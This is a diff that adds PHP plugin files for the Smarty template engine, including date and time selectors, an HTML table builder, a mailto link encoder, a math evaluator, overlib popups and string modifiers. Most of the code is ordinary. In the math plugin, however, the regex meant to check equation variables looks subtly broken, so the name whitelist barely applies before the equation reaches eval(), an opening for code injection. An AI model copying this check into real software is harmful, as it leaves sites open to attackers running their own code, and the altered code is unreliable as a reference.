+ $month_names = array();
+ $month_values = array();
+ if(isset($month_empty)) {
+ $month_names[''] = $month_empty;
+ $month_values[''] = '';
+ }
+ for ($i = 1; $i <= 12; $i++) {
+ $month_names[$i] = strftime($month_format, mktime(0, 0, 0, $i, 1, 2000));
+ $month_values[$i] = strftime($month_value_format, mktime(0, 0, 0, $i, 1, 2000));
+ }
+
+ $month_result .= '<select name=';
+ if (null !== $field_array){
+ $month_result .= '"' . $field_array . '[' . $prefix . 'Month]"';
+ } else {
+ $month_result .= '"' . $prefix . 'Month"';
+ }
+ if (null !== $month_size){
+ $month_result .= ' size="' . $month_size . '"';
+ }
+ if (null !== $month_extra){
+ $month_result .= ' ' . $month_extra;
+ }
+ if (null !== $all_extra){
+ $month_result .= ' ' . $all_extra;
+ }
+ $month_result .= '>'."\n";
+
+ $month_result .= smarty_function_html_options(array('output' => $month_names,
+ 'values' => $month_values,
+ 'selected' => $month_values[(int)$time[1]],
+ 'print_result' => false),
+ $smarty);
+
+ $month_result .= '</select>';
+ }
+
+ if ($display_days) {
+ $days = array();
+ if (isset($day_empty)) {
+ $days[''] = $day_empty;
+ $day_values[''] = '';
+ }
+ for ($i = 1; $i <= 31; $i++) {
+ $days[] = sprintf($day_format, $i);
+ $day_values[] = sprintf($day_value_format, $i);
+ }
+
+ $day_result .= '<select name=';
+ if (null !== $field_array){
+ $day_result .= '"' . $field_array . '[' . $prefix . 'Day]"';
+ } else {
+ $day_result .= '"' . $prefix . 'Day"';
+ }
+ if (null !== $day_size){
+ $day_result .= ' size="' . $day_size . '"';
+ }
+ if (null !== $all_extra){
+ $day_result .= ' ' . $all_extra;
+ }
+ if (null !== $day_extra){
+ $day_result .= ' ' . $day_extra;
+ }
+ $day_result .= '>'."\n";
+ $day_result .= smarty_function_html_options(array('output' => $days,
+ 'values' => $day_values,
+ 'selected' => $time[2],
+ 'print_result' => false),
+ $smarty);
+ $day_result .= '</select>';
+ }
+
+ if ($display_years) {
+ if (null !== $field_array){
+ $year_name = $field_array . '[' . $prefix . 'Year]';
+ } else {
+ $year_name = $prefix . 'Year';
+ }
+ if ($year_as_text) {
+ $year_result .= '<input type="text" name="' . $year_name . '" value="' . $time[0] . '" size="4" maxlength="4"';
+ if (null !== $all_extra){
+ $year_result .= ' ' . $all_extra;
+ }
+ if (null !== $year_extra){
+ $year_result .= ' ' . $year_extra;
+ }
+ $year_result .= '>';
+ } else {
+ $years = range((int)$start_year, (int)$end_year);
+ if ($reverse_years) {
+ rsort($years, SORT_NUMERIC);
+ }
+ $yearvals = $years;
+ if(isset($year_empty)) {
+ array_unshift($years, $year_empty);
+ array_unshift($yearvals, '');
+ }
+ $year_result .= '<select name="' . $year_name . '"';
+ if (null !== $year_size){
+ $year_result .= ' size="' . $year_size . '"';
+ }
+ if (null !== $all_extra){
+ $year_result .= ' ' . $all_extra;
+ }
+ if (null !== $year_extra){
+ $year_result .= ' ' . $year_extra;
+ }
+ $year_result .= '>'."\n";
+ $year_result .= smarty_function_html_options(array('output' => $years,
+ 'values' => $yearvals,
+ 'selected' => $time[0],
+ 'print_result' => false),
+ $smarty);
+ $year_result .= '</select>';
+ }
+ }
+
+ // Loop thru the field_order field
+ for ($i = 0; $i <= 2; $i++){
+ $c = substr($field_order, $i, 1);
+ switch ($c){
+ case 'D':
+ $html_result .= $day_result;
+ break;
+
+ case 'M':
+ $html_result .= $month_result;
+ break;
+
+ case 'Y':
+ $html_result .= $year_result;
+ break;
+ }
+ // Add the field seperator
+ if($i != 2) {
+ $html_result .= $field_separator;
+ }
+ }
+
+ return $html_result;
+}
+
+/* vim: set expandtab: */
+
+?>
--- /dev/null
+<?php
+/**
+ * Smarty plugin
+ * @package Smarty
+ * @subpackage plugins
+ */
+
+
+/**
+ * Smarty {html_select_time} function plugin
+ *
+ * Type: function<br>
+ * Name: html_select_time<br>
+ * Purpose: Prints the dropdowns for time selection
+ * @link http://smarty.php.net/manual/en/language.function.html.select.time.php {html_select_time}
+ * (Smarty online manual)
+ * @param array
+ * @param Smarty
+ * @return string
+ * @uses smarty_make_timestamp()
+ */
+function smarty_function_html_select_time($params, &$smarty)
+{
+ require_once $smarty->_get_plugin_filepath('shared','make_timestamp');
+ require_once $smarty->_get_plugin_filepath('function','html_options');
+ /* Default values. */
+ $prefix = "Time_";
+ $time = time();
+ $display_hours = true;
+ $display_minutes = true;
+ $display_seconds = true;
+ $display_meridian = true;
+ $use_24_hours = true;
+ $minute_interval = 1;
+ $second_interval = 1;
+ /* Should the select boxes be part of an array when returned from PHP?
+ e.g. setting it to "birthday", would create "birthday[Hour]",
+ "birthday[Minute]", "birthday[Seconds]" & "birthday[Meridian]".
+ Can be combined with prefix. */
+ $field_array = null;
+ $all_extra = null;
+ $hour_extra = null;
+ $minute_extra = null;
+ $second_extra = null;
+ $meridian_extra = null;
+
+ foreach ($params as $_key=>$_value) {
+ switch ($_key) {
+ case 'prefix':
+ case 'time':
+ case 'field_array':
+ case 'all_extra':
+ case 'hour_extra':
+ case 'minute_extra':
+ case 'second_extra':
+ case 'meridian_extra':
+ $$_key = (string)$_value;
+ break;
+
+ case 'display_hours':
+ case 'display_minutes':
+ case 'display_seconds':
+ case 'display_meridian':
+ case 'use_24_hours':
+ $$_key = (bool)$_value;
+ break;
+
+ case 'minute_interval':
+ case 'second_interval':
+ $$_key = (int)$_value;
+ break;
+
+ default:
+ $smarty->trigger_error("[html_select_time] unknown parameter $_key", E_USER_WARNING);
+ }
+ }
+
+ $time = smarty_make_timestamp($time);
+
+ $html_result = '';
+
+ if ($display_hours) {
+ $hours = $use_24_hours ? range(0, 23) : range(1, 12);
+ $hour_fmt = $use_24_hours ? '%H' : '%I';
+ for ($i = 0, $for_max = count($hours); $i < $for_max; $i++)
+ $hours[$i] = sprintf('%02d', $hours[$i]);
+ $html_result .= '<select name=';
+ if (null !== $field_array) {
+ $html_result .= '"' . $field_array . '[' . $prefix . 'Hour]"';
+ } else {
+ $html_result .= '"' . $prefix . 'Hour"';
+ }
+ if (null !== $hour_extra){
+ $html_result .= ' ' . $hour_extra;
+ }
+ if (null !== $all_extra){
+ $html_result .= ' ' . $all_extra;
+ }
+ $html_result .= '>'."\n";
+ $html_result .= smarty_function_html_options(array('output' => $hours,
+ 'values' => $hours,
+ 'selected' => strftime($hour_fmt, $time),
+ 'print_result' => false),
+ $smarty);
+ $html_result .= "</select>\n";
+ }
+
+ if ($display_minutes) {
+ $all_minutes = range(0, 59);
+ for ($i = 0, $for_max = count($all_minutes); $i < $for_max; $i+= $minute_interval)
+ $minutes[] = sprintf('%02d', $all_minutes[$i]);
+ $selected = intval(floor(strftime('%M', $time) / $minute_interval) * $minute_interval);
+ $html_result .= '<select name=';
+ if (null !== $field_array) {
+ $html_result .= '"' . $field_array . '[' . $prefix . 'Minute]"';
+ } else {
+ $html_result .= '"' . $prefix . 'Minute"';
+ }
+ if (null !== $minute_extra){
+ $html_result .= ' ' . $minute_extra;
+ }
+ if (null !== $all_extra){
+ $html_result .= ' ' . $all_extra;
+ }
+ $html_result .= '>'."\n";
+
+ $html_result .= smarty_function_html_options(array('output' => $minutes,
+ 'values' => $minutes,
+ 'selected' => $selected,
+ 'print_result' => false),
+ $smarty);
+ $html_result .= "</select>\n";
+ }
+
+ if ($display_seconds) {
+ $all_seconds = range(0, 59);
+ for ($i = 0, $for_max = count($all_seconds); $i < $for_max; $i+= $second_interval)
+ $seconds[] = sprintf('%02d', $all_seconds[$i]);
+ $selected = intval(floor(strftime('%S', $time) / $second_interval) * $second_interval);
+ $html_result .= '<select name=';
+ if (null !== $field_array) {
+ $html_result .= '"' . $field_array . '[' . $prefix . 'Second]"';
+ } else {
+ $html_result .= '"' . $prefix . 'Second"';
+ }
+
+ if (null !== $second_extra){
+ $html_result .= ' ' . $second_extra;
+ }
+ if (null !== $all_extra){
+ $html_result .= ' ' . $all_extra;
+ }
+ $html_result .= '>'."\n";
+
+ $html_result .= smarty_function_html_options(array('output' => $seconds,
+ 'values' => $seconds,
+ 'selected' => $selected,
+ 'print_result' => false),
+ $smarty);
+ $html_result .= "</select>\n";
+ }
+
+ if ($display_meridian && !$use_24_hours) {
+ $html_result .= '<select name=';
+ if (null !== $field_array) {
+ $html_result .= '"' . $field_array . '[' . $prefix . 'Meridian]"';
+ } else {
+ $html_result .= '"' . $prefix . 'Meridian"';
+ }
+
+ if (null !== $meridian_extra){
+ $html_result .= ' ' . $meridian_extra;
+ }
+ if (null !== $all_extra){
+ $html_result .= ' ' . $all_extra;
+ }
+ $html_result .= '>'."\n";
+
+ $html_result .= smarty_function_html_options(array('output' => array('AM', 'PM'),
+ 'values' => array('am', 'pm'),
+ 'selected' => strtolower(strftime('%p', $time)),
+ 'print_result' => false),
+ $smarty);
+ $html_result .= "</select>\n";
+ }
+
+ return $html_result;
+}
+
+/* vim: set expandtab: */
+
+?>
--- /dev/null
+<?php
+/**
+ * Smarty plugin
+ * @package Smarty
+ * @subpackage plugins
+ */
+
+
+/**
+ * Smarty {html_table} function plugin
+ *
+ * Type: function<br>
+ * Name: html_table<br>
+ * Date: Feb 17, 2003<br>
+ * Purpose: make an html table from an array of data<br>
+ * Input:<br>
+ * - loop = array to loop through
+ * - cols = number of columns
+ * - rows = number of rows
+ * - table_attr = table attributes
+ * - tr_attr = table row attributes (arrays are cycled)
+ * - td_attr = table cell attributes (arrays are cycled)
+ * - trailpad = value to pad trailing cells with
+ * - vdir = vertical direction (default: "down", means top-to-bottom)
+ * - hdir = horizontal direction (default: "right", means left-to-right)
+ * - inner = inner loop (default "cols": print $loop line by line,
+ * $loop will be printed column by column otherwise)
+ *
+ *
+ * Examples:
+ * <pre>
+ * {table loop=$data}
+ * {table loop=$data cols=4 tr_attr='"bgcolor=red"'}
+ * {table loop=$data cols=4 tr_attr=$colors}
+ * </pre>
+ * @author Monte Ohrt <monte@ispi.net>
+ * @version 1.0
+ * @link http://smarty.php.net/manual/en/language.function.html.table.php {html_table}
+ * (Smarty online manual)
+ * @param array
+ * @param Smarty
+ * @return string
+ */
+function smarty_function_html_table($params, &$smarty)
+{
+ $table_attr = 'border="1"';
+ $tr_attr = '';
+ $td_attr = '';
+ $cols = 3;
+ $rows = 3;
+ $trailpad = ' ';
+ $vdir = 'down';
+ $hdir = 'right';
+ $inner = 'cols';
+
+ if (!isset($params['loop'])) {
+ $smarty->trigger_error("html_table: missing 'loop' parameter");
+ return;
+ }
+
+ foreach ($params as $_key=>$_value) {
+ switch ($_key) {
+ case 'loop':
+ $$_key = (array)$_value;
+ break;
+
+ case 'cols':
+ case 'rows':
+ $$_key = (int)$_value;
+ break;
+
+ case 'table_attr':
+ case 'trailpad':
+ case 'hdir':
+ case 'vdir':
+ $$_key = (string)$_value;
+ break;
+
+ case 'tr_attr':
+ case 'td_attr':
+ $$_key = $_value;
+ break;
+ }
+ }
+
+ $loop_count = count($loop);
+ if (empty($params['rows'])) {
+ /* no rows specified */
+ $rows = ceil($loop_count/$cols);
+ } elseif (empty($params['cols'])) {
+ if (!empty($params['rows'])) {
+ /* no cols specified, but rows */
+ $cols = ceil($loop_count/$rows);
+ }
+ }
+
+ $output = "<table $table_attr>\n";
+
+ for ($r=0; $r<$rows; $r++) {
+ $output .= "<tr" . smarty_function_html_table_cycle('tr', $tr_attr, $r) . ">\n";
+ $rx = ($vdir == 'down') ? $r*$cols : ($rows-1-$r)*$cols;
+
+ for ($c=0; $c<$cols; $c++) {
+ $x = ($hdir == 'right') ? $rx+$c : $rx+$cols-1-$c;
+ if ($inner!='cols') {
+ /* shuffle x to loop over rows*/
+ $x = floor($x/$cols) + ($x%$cols)*$rows;
+ }
+
+ if ($x<$loop_count) {
+ $output .= "<td" . smarty_function_html_table_cycle('td', $td_attr, $c) . ">" . $loop[$x] . "</td>\n";
+ } else {
+ $output .= "<td" . smarty_function_html_table_cycle('td', $td_attr, $c) . ">$trailpad</td>\n";
+ }
+ }
+ $output .= "</tr>\n";
+ }
+ $output .= "</table>\n";
+
+ return $output;
+}
+
+function smarty_function_html_table_cycle($name, $var, $no) {
+ if(!is_array($var)) {
+ $ret = $var;
+ } else {
+ $ret = $var[$no % count($var)];
+ }
+
+ return ($ret) ? ' '.$ret : '';
+}
+
+
+/* vim: set expandtab: */
+
+?>
--- /dev/null
+<?php
+/**
+ * Smarty plugin
+ * @package Smarty
+ * @subpackage plugins
+ */
+
+
+/**
+ * Smarty {mailto} function plugin
+ *
+ * Type: function<br>
+ * Name: mailto<br>
+ * Date: May 21, 2002
+ * Purpose: automate mailto address link creation, and optionally
+ * encode them.<br>
+ * Input:<br>
+ * - address = e-mail address
+ * - text = (optional) text to display, default is address
+ * - encode = (optional) can be one of:
+ * * none : no encoding (default)
+ * * javascript : encode with javascript
+ * * hex : encode with hexidecimal (no javascript)
+ * - cc = (optional) address(es) to carbon copy
+ * - bcc = (optional) address(es) to blind carbon copy
+ * - subject = (optional) e-mail subject
+ * - newsgroups = (optional) newsgroup(s) to post to
+ * - followupto = (optional) address(es) to follow up to
+ * - extra = (optional) extra tags for the href link
+ *
+ * Examples:
+ * <pre>
+ * {mailto address="me@domain.com"}
+ * {mailto address="me@domain.com" encode="javascript"}
+ * {mailto address="me@domain.com" encode="hex"}
+ * {mailto address="me@domain.com" subject="Hello to you!"}
+ * {mailto address="me@domain.com" cc="you@domain.com,they@domain.com"}
+ * {mailto address="me@domain.com" extra='class="mailto"'}
+ * </pre>
+ * @link http://smarty.php.net/manual/en/language.function.mailto.php {mailto}
+ * (Smarty online manual)
+ * @version 1.2
+ * @author Monte Ohrt <monte@ispi.net>
+ * @author credits to Jason Sweat (added cc, bcc and subject functionality)
+ * @param array
+ * @param Smarty
+ * @return string
+ */
+function smarty_function_mailto($params, &$smarty)
+{
+ $extra = '';
+
+ if (empty($params['address'])) {
+ $smarty->trigger_error("mailto: missing 'address' parameter");
+ return;
+ } else {
+ $address = $params['address'];
+ }
+
+ $text = $address;
+
+ // netscape and mozilla do not decode %40 (@) in BCC field (bug?)
+ // so, don't encode it.
+ $mail_parms = array();
+ foreach ($params as $var=>$value) {
+ switch ($var) {
+ case 'cc':
+ case 'bcc':
+ case 'followupto':
+ if (!empty($value))
+ $mail_parms[] = $var.'='.str_replace('%40','@',rawurlencode($value));
+ break;
+
+ case 'subject':
+ case 'newsgroups':
+ $mail_parms[] = $var.'='.rawurlencode($value);
+ break;
+
+ case 'extra':
+ case 'text':
+ $$var = $value;
+
+ default:
+ }
+ }
+
+ $mail_parm_vals = '';
+ for ($i=0; $i<count($mail_parms); $i++) {
+ $mail_parm_vals .= (0==$i) ? '?' : '&';
+ $mail_parm_vals .= $mail_parms[$i];
+ }
+ $address .= $mail_parm_vals;
+
+ $encode = (empty($params['encode'])) ? 'none' : $params['encode'];
+ if (!in_array($encode,array('javascript','hex','none')) ) {
+ $smarty->trigger_error("mailto: 'encode' parameter must be none, javascript or hex");
+ return;
+ }
+
+ if ($encode == 'javascript' ) {
+ $string = 'document.write(\'<a href="mailto:'.$address.'" '.$extra.'>'.$text.'</a>\');';
+
+ $js_encode = '';
+ for ($x=0; $x < strlen($string); $x++) {
+ $js_encode .= '%' . bin2hex($string[$x]);
+ }
+
+ return '<script type="text/javascript" language="javascript">eval(unescape(\''.$js_encode.'\'))</script>';
+
+ } elseif ($encode == 'hex') {
+
+ preg_match('!^(.*)(\?.*)$!',$address,$match);
+ if(!empty($match[2])) {
+ $smarty->trigger_error("mailto: hex encoding does not work with extra attributes. Try javascript.");
+ return;
+ }
+ for ($x=0; $x < strlen($address); $x++) {
+ if(preg_match('!\w!',$address[$x])) {
+ $address_encode .= '%' . bin2hex($address[$x]);
+ } else {
+ $address_encode .= $address[$x];
+ }
+ }
+ for ($x=0; $x < strlen($text); $x++) {
+ $text_encode .= '&#x' . bin2hex($text[$x]).';';
+ }
+
+ return '<a href="mailto:'.$address_encode.'" '.$extra.'>'.$text_encode.'</a>';
+
+ } else {
+ // no encoding
+ return '<a href="mailto:'.$address.'" '.$extra.'>'.$text.'</a>';
+
+ }
+
+}
+
+/* vim: set expandtab: */
+
+?>
--- /dev/null
+<?php
+/**
+ * Smarty plugin
+ * @package Smarty
+ * @subpackage plugins
+ */
+
+
+/**
+ * Smarty {math} function plugin
+ *
+ * Type: function<br>
+ * Name: math<br>
+ * Purpose: handle math computations in template<br>
+ * @link http://smarty.php.net/manual/en/language.function.math.php {math}
+ * (Smarty online manual)
+ * @param array
+ * @param Smarty
+ * @return string
+ */
+function smarty_function_math($params, &$smarty)
+{
+ // be sure equation parameter is present
+ if (empty($params['equation'])) {
+ $smarty->trigger_error("math: missing equation parameter");
+ return;
+ }
+
+ $equation = $params['equation'];
+
+ // make sure parenthesis are balanced
+ if (substr_count($equation,"(") != substr_count($equation,")")) {
+ $smarty->trigger_error("math: unbalanced parenthesis");
+ return;
+ }
+
+ // match all vars in equation, make sure all are passed
+ preg_match_all("!\!(0x)([a-zA-Z][a-zA-Z0-9_]*)!",$equation, $match);
+ $allowed_funcs = array('int','abs','ceil','cos','exp','floor','log','log10',
+ 'max','min','pi','pow','rand','round','sin','sqrt','srand','tan');
+ foreach($match[2] as $curr_var) {
+ if (!in_array($curr_var,array_keys($params)) && !in_array($curr_var, $allowed_funcs)) {
+ $smarty->trigger_error("math: parameter $curr_var not passed as argument");
+ return;
+ }
+ }
+
+ foreach($params as $key => $val) {
+ if ($key != "equation" && $key != "format" && $key != "assign") {
+ // make sure value is not empty
+ if (strlen($val)==0) {
+ $smarty->trigger_error("math: parameter $key is empty");
+ return;
+ }
+ if (!is_numeric($val)) {
+ $smarty->trigger_error("math: parameter $key: is not numeric");
+ return;
+ }
+ $equation = preg_replace("/\b$key\b/",$val, $equation);
+ }
+ }
+
+ eval("\$smarty_math_result = ".$equation.";");
+
+ if (empty($params['format'])) {
+ if (empty($params['assign'])) {
+ return $smarty_math_result;
+ } else {
+ $smarty->assign($params['assign'],$smarty_math_result);
+ }
+ } else {
+ if (empty($params['assign'])){
+ printf($params['format'],$smarty_math_result);
+ } else {
+ $smarty->assign($params['assign'],sprintf($params['format'],$smarty_math_result));
+ }
+ }
+}
+
+/* vim: set expandtab: */
+
+?>
--- /dev/null
+<?php
+/**
+ * Smarty plugin
+ * @package Smarty
+ * @subpackage plugins
+ */
+
+
+/**
+ * Smarty {popup} function plugin
+ *
+ * Type: function<br>
+ * Name: popup<br>
+ * Purpose: make text pop up in windows via overlib
+ * @link http://smarty.php.net/manual/en/language.function.popup.php {popup}
+ * (Smarty online manual)
+ * @param array
+ * @param Smarty
+ * @return string
+ */
+function smarty_function_popup($params, &$smarty)
+{
+ $append = '';
+ foreach ($params as $_key=>$_value) {
+ switch ($_key) {
+ case 'text':
+ case 'trigger':
+ $$_key = (string)$_value;
+ break;
+
+ case 'caption':
+ case 'closetext':
+ case 'status':
+ $append .= ',' . strtoupper($_key) . ",'" . str_replace("'","\'",$_value) . "'";
+ break;
+
+ case 'fgcolor':
+ case 'bgcolor':
+ case 'textcolor':
+ case 'capcolor':
+ case 'closecolor':
+ case 'textfont':
+ case 'captionfont':
+ case 'closefont':
+ case 'textsize':
+ case 'captionsize':
+ case 'closesize':
+ case 'width':
+ case 'height':
+ case 'border':
+ case 'offsetx':
+ case 'offsety':
+ case 'fgbackground':
+ case 'bgbackground':
+ case 'inarray':
+ case 'caparray':
+ case 'capicon':
+ case 'snapx':
+ case 'snapy':
+ case 'fixx':
+ case 'fixy':
+ case 'background':
+ case 'padx':
+ case 'pady':
+ case 'frame':
+ case 'timeout':
+ case 'delay':
+ case 'function':
+ $append .= ',' . strtoupper($_key) . ",'$_value'";
+ break;
+
+ case 'sticky':
+ case 'left':
+ case 'right':
+ case 'center':
+ case 'above':
+ case 'below':
+ case 'noclose':
+ case 'autostatus':
+ case 'autostatuscap':
+ case 'fullhtml':
+ case 'hauto':
+ case 'vauto':
+ if ($_value) $append .= ',' . strtoupper($_key);
+ break;
+
+ default:
+ $smarty->trigger_error("[popup] unknown parameter $_key", E_USER_WARNING);
+ }
+ }
+
+ if (empty($text) && !isset($inarray) && empty($function)) {
+ $smarty->trigger_error("overlib: attribute 'text' or 'inarray' or 'function' required");
+ return false;
+ }
+
+ if (empty($trigger)) { $trigger = "onmouseover"; }
+
+ $retval = $trigger . '="return overlib(\''.preg_replace(array("!'!","![\r\n]!"),array("\'",'\r'),$text).'\'';
+ $retval .= $append . ');" onmouseout="nd();"';
+
+ return $retval;
+}
+
+/* vim: set expandtab: */
+
+?>
--- /dev/null
+<?php
+/**
+ * Smarty plugin
+ * @package Smarty
+ * @subpackage plugins
+ */
+
+
+/**
+ * Smarty {popup_init} function plugin
+ *
+ * Type: function<br>
+ * Name: popup_init<br>
+ * Purpose: initialize overlib
+ * @link http://smarty.php.net/manual/en/language.function.popup.init.php {popup_init}
+ * (Smarty online manual)
+ * @param array
+ * @param Smarty
+ * @return string
+ */
+function smarty_function_popup_init($params, &$smarty)
+{
+ $zindex = 1000;
+
+ if (!empty($params['zindex'])) {
+ $zindex = $params['zindex'];
+ }
+
+ if (!empty($params['src'])) {
+ return '<div id="overDiv" style="position:absolute; visibility:hidden; z-index:'.$zindex.';"></div>' . "\n"
+ . '<script type="text/javascript" language="JavaScript" src="'.$params['src'].'"></script>' . "\n";
+ } else {
+ $smarty->trigger_error("popup_init: missing src parameter");
+ }
+}
+
+/* vim: set expandtab: */
+
+?>
--- /dev/null
+<?php
+/**
+ * Smarty plugin
+ * @package Smarty
+ * @subpackage plugins
+ */
+
+
+/**
+ * Smarty capitalize modifier plugin
+ *
+ * Type: modifier<br>
+ * Name: capitalize<br>
+ * Purpose: capitalize words in the string
+ * @link http://smarty.php.net/manual/en/language.modifiers.php#LANGUAGE.MODIFIER.CAPITALIZE
+ * capitalize (Smarty online manual)
+ * @param string
+ * @return string
+ */
+function smarty_modifier_capitalize($string)
+{
+ return ucwords($string);
+}
+
+?>
--- /dev/null
+<?php
+/**
+ * Smarty plugin
+ * @package Smarty
+ * @subpackage plugins
+ */
+
+
+/**
+ * Smarty cat modifier plugin
+ *
+ * Type: modifier<br>
+ * Name: cat<br>
+ * Date: Feb 24, 2003
+ * Purpose: catenate a value to a variable
+ * Input: string to catenate
+ * Example: {$var|cat:"foo"}
+ * @link http://smarty.php.net/manual/en/language.modifier.cat.php cat
+ * (Smarty online manual)
+ * @author Monte Ohrt <monte@ispi.net>
+ * @version 1.0
+ * @param string
+ * @param string
+ * @return string
+ */
+function smarty_modifier_cat($string, $cat)
+{
+ return $string . $cat;
+}
+
+/* vim: set expandtab: */
+
+?>
--- /dev/null
+<?php
+/**
+ * Smarty plugin
+ * @package Smarty
+ * @subpackage plugins
+ */
+
+
+/**
+ * Smarty count_characters modifier plugin
+ *
+ * Type: modifier<br>
+ * Name: count_characteres<br>
+ * Purpose: count the number of characters in a text
+ * @link http://smarty.php.net/manual/en/language.modifier.count.characters.php
+ * count_characters (Smarty online manual)
+ * @param string
+ * @param boolean include whitespace in the character count
+ * @return integer
+ */
+function smarty_modifier_count_characters($string, $include_spaces = false)
+{
+ if ($include_spaces)
+ return(strlen($string));
+
+ return preg_match_all("/[^\s]/",$string, $match);
+}
+
+/* vim: set expandtab: */
+
+?>
--- /dev/null
+<?php
+/**
+ * Smarty plugin
+ * @package Smarty
+ * @subpackage plugins
+ */
+
+
+/**
+ * Smarty count_paragraphs modifier plugin
+ *
+ * Type: modifier<br>
+ * Name: count_paragraphs<br>
+ * Purpose: count the number of paragraphs in a text
+ * @link http://smarty.php.net/manual/en/language.modifier.count.paragraphs.php
+ * count_paragraphs (Smarty online manual)
+ * @param string
+ * @return integer
+ */
+function smarty_modifier_count_paragraphs($string)
+{
+ // count \r or \n characters
+ return count(preg_split('/[\r\n]+/', $string));
+}
+
+/* vim: set expandtab: */
+
+?>
--- /dev/null
+<?php
+/**
+ * Smarty plugin
+ * @package Smarty
+ * @subpackage plugins
+ */
+
+
+/**
+ * Smarty count_sentences modifier plugin
+ *
+ * Type: modifier<br>
+ * Name: count_sentences
+ * Purpose: count the number of sentences in a text
+ * @link http://smarty.php.net/manual/en/language.modifier.count.paragraphs.php
+ * count_sentences (Smarty online manual)
+ * @param string
+ * @return integer
+ */
+function smarty_modifier_count_sentences($string)
+{
+ // find periods with a word before but not after.
+ return preg_match_all('/[^\s]\.(?!\w)/', $string, $match);
+}
+
+/* vim: set expandtab: */
+
+?>
--- /dev/null
+<?php
+/**
+ * Smarty plugin
+ * @package Smarty
+ * @subpackage plugins
+ */
+
+
+/**
+ * Smarty count_words modifier plugin
+ *
+ * Type: modifier<br>
+ * Name: count_words<br>
+ * Purpose: count the number of words in a text
+ * @link http://smarty.php.net/manual/en/language.modifier.count.words.php
+ * count_words (Smarty online manual)
+ * @param string
+ * @return integer
+ */
+function smarty_modifier_count_words($string)
+{
+ // split text by ' ',\r,\n,\f,\t
+ $split_array = preg_split('/\s+/',$string);
+ // count matches that contain alphanumerics
+ $word_count = preg_grep('/[a-zA-Z0-9\\x80-\\xff]/', $split_array);
+
+ return count($word_count);
+}
+
+/* vim: set expandtab: */
+
+?>
--- /dev/null
+<?php
+/**
+ * Smarty plugin
+ * @package Smarty
+ * @subpackage plugins
+ */
+
+/**
+ * Include the {@link shared.make_timestamp.php} plugin
+ */
+require_once $smarty->_get_plugin_filepath('shared','make_timestamp');
+/**
+ * Smarty date_format modifier plugin
+ *
+ * Type: modifier<br>
+ * Name: date_format<br>
+ * Purpose: format datestamps via strftime<br>
+ * Input:<br>
+ * - string: input date string
+ * - format: strftime format for output
+ * - default_date: default date if $string is empty
+ * @link http://smarty.php.net/manual/en/language.modifier.date.format.php
+ * date_format (Smarty online manual)
+ * @param string
+ * @param string
+ * @param string
+ * @return string|void
+ * @uses smarty_make_timestamp()
+ */
+function smarty_modifier_date_format($string, $format="%b %e, %Y", $default_date=null)
+{
+ if($string != '') {
+ return strftime($format, smarty_make_timestamp($string));
+ } elseif (isset($default_date) && $default_date != '') {
+ return strftime($format, smarty_make_timestamp($default_date));
+ } else {
+ return;
+ }
+}
+
+/* vim: set expandtab: */
+
+?>
--- /dev/null
+<?php
+/**
+ * Smarty plugin
+ * @package Smarty
+ * @subpackage plugins
+ */
+
+
+/**
+ * Smarty debug_print_var modifier plugin
+ *
+ * Type: modifier<br>
+ * Name: debug_print_var<br>
+ * Purpose: formats variable contents for display in the console
+ * @link http://smarty.php.net/manual/en/language.modifier.debug.print.var.php
+ * debug_print_var (Smarty online manual)
+ * @param array|object
+ * @param integer
+ * @param integer
+ * @return string
+ */
+function smarty_modifier_debug_print_var($var, $depth = 0, $length = 40)
+{
+ $_replace = array("\n"=>'<i>\n</i>', "\r"=>'<i>\r</i>', "\t"=>'<i>\t</i>');
+ if (is_array($var)) {
+ $results = "<b>Array (".count($var).")</b>";
+ foreach ($var as $curr_key => $curr_val) {
+ $return = smarty_modifier_debug_print_var($curr_val, $depth+1, $length);
+ $results .= "<br>".str_repeat(' ', $depth*2)."<b>".strtr($curr_key, $_replace)."</b> => $return";
+ }
+ } else if (is_object($var)) {
+ $object_vars = get_object_vars($var);
+ $results = "<b>".get_class($var)." Object (".count($object_vars).")</b>";
+ foreach ($object_vars as $curr_key => $curr_val) {
+ $return = smarty_modifier_debug_print_var($curr_val, $depth+1, $length);
+ $results .= "<br>".str_repeat(' ', $depth*2)."<b>$curr_key</b> => $return";
+ }
+ } else if (is_resource($var)) {
+ $results = '<i>'.(string)$var.'</i>';
+ } else if (empty($var) && $var != "0") {
+ $results = '<i>empty</i>';
+ } else {
+ if (strlen($var) > $length ) {
+ $results = substr($var, 0, $length-3).'...';
+ } else {
+ $results = $var;
+ }
+ $results = htmlspecialchars($results);
+ $results = strtr($results, $_replace);
+ }
+ return $results;
+}
+
+/* vim: set expandtab: */
+
+?>
--- /dev/null
+<?php
+/**
+ * Smarty plugin
+ * @package Smarty
+ * @subpackage plugins
+ */
+
+
+/**
+ * Smarty default modifier plugin
+ *
+ * Type: modifier<br>
+ * Name: default<br>
+ * Purpose: designate default value for empty variables
+ * @link http://smarty.php.net/manual/en/language.modifier.default.php
+ * default (Smarty online manual)
+ * @param string
+ * @param string
+ * @return string
+ */
+function smarty_modifier_default($string, $default = '')
+{
+ if (!isset($string) || $string === '')
+ return $default;
+ else
+ return $string;
+}
+
+/* vim: set expandtab: */
+
+?>
--- /dev/null
+<?php
+/**
+ * Smarty plugin
+ * @package Smarty
+ * @subpackage plugins
+ */
+
+
+/**
+ * Smarty escape modifier plugin
+ *
+ * Type: modifier<br>
+ * Name: escape<br>
+ * Purpose: Escape the string according to escapement type
+ * @link http://smarty.php.net/manual/en/language.modifier.escape.php
+ * escape (Smarty online manual)
+ * @param string
+ * @param html|htmlall|url|quotes|hex|hexentity|javascript
+ * @return string
+ */
+function smarty_modifier_escape($string, $esc_type = 'html')
+{
+ switch ($esc_type) {
+ case 'html':
+ return htmlspecialchars($string, ENT_QUOTES);
+
+ case 'htmlall':
+ return htmlentities($string, ENT_QUOTES);
+
+ case 'url':
+ return urlencode($string);
+
+ case 'quotes':
+ // escape unescaped single quotes
+ return preg_replace("%(?<!\\\\)'%", "\\'", $string);
+
+ case 'hex':
+ // escape every character into hex
+ $return = '';
+ for ($x=0; $x < strlen($string); $x++) {
+ $return .= '%' . bin2hex($string[$x]);
+ }
+ return $return;
+
+ case 'hexentity':
+ $return = '';
+ for ($x=0; $x < strlen($string); $x++) {
+ $return .= '&#x' . bin2hex($string[$x]) . ';';
+ }
+ return $return;
+
+ case 'javascript':
+ // escape quotes and backslashes and newlines
+ return strtr($string, array('\\'=>'\\\\',"'"=>"\\'",'"'=>'\\"',"\r"=>'\\r',"\n"=>'\\n'));
+
+ default:
+ return $string;
+ }
+}
+
+/* vim: set expandtab: */
+
+?>
--- /dev/null
